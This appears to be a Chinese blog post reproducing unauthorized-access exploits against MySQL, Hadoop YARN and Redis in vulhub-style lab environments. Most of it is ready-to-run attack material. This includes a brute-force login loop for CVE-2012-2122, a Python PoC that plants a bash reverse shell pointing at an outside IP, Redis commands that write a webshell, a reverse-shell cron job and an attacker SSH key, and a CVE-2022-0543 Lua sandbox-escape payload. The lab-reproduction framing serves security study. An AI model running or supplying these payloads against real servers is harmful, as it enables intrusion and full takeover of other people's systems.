未授权漏洞复现mysql,Redis,Hadoop

常见服务应用的安全测试:

1、配置不当-未授权访问

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

判断服务开放

  1. 端口扫描(nmap,mapscan,站长之家)

Mysql:3306 rdp:3389 ssh:22 ftp: hadoop:50010 redis:6379

  1. 组合猜解
  2. 信息来源

判断服务类型

  1. 数据库
  2. 文件传输
  3. 远程控制
  4. 数据通讯

判断利用方式

  1. 特性漏洞
  2. 未授权访问
  3. 弱口令爆破
  • Mysql-未授权访问-CVE-2012-2122利用

1、漏洞简介

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

2、受影响的版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

  1. 漏洞复现 vulhub

利用docker进行漏洞环境的复现

for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.153.132 -P3306 ; done

利用for循环,执行命令一直进入数据库为止

实战中,Msql默认配置只允许本地登录root用户,远程连接请求是拒绝的,可以借助phpmyadmin猜解,phpmyadmin第三方的数据库管理应用,搭建在对方的服务器上

二、Hadoop-未授权访问-内置配合命令执行RCE

python Poc

import requests

target = 'http://123.58.224.8:32343'

lhost = '43.143.231.203' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'

resp = requests.post(url)

app_id = resp.json()['application-id']

url = target + 'ws/v1/cluster/apps'

data = {

'application-id': app_id,

'application-name': 'get-shell',

'am-container-spec': {

'commands': {

'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,

},

},

'application-type': 'YARN',

}

requests.post(url, json=data)

三、Redis-未授权访问-Webshell&任务&密匙&RCE等

漏洞存在点:bind 127.0.0.1未开启,支持远程登录,未设置密码,未开启保护

1、服务器开启redis服务,通过连接写入webshell

config set dir /tmp #设置WEB写入目录

config set dbfilename 1.php #设置写入文件名

set test "<?php phpinfo();?>" #设置写入文件代码

bgsave #保存执行

save #保存执行

2、写定时任务反弹shell

利用条件:

允许异地登录

安全模式protected-mode处于关闭状态

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/43.143.231.203/5555 0>&1\n\n\n"

config set dbfilename x

save

注意:

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码,所以导致命令执行失败

3、写入Linux ssh-key公钥

利用条件:

允许异地登录

Redis服务使用ROOT账号启动

安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsa

cd /root/.ssh/

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat key.txt | redis-cli -h 118.31.57.214 -x set xxx

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@118.31.57.214

redis 未授权访问 (CNVD-2015-07557)

https://github.com/vulhub/redis-rogue-getshell

python redis-master.py -r 目标ip -p 6379 -L 自己ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus

连接redis服务器

redis-cli -h ip -p port

Poc:执行id命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

大飞先生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值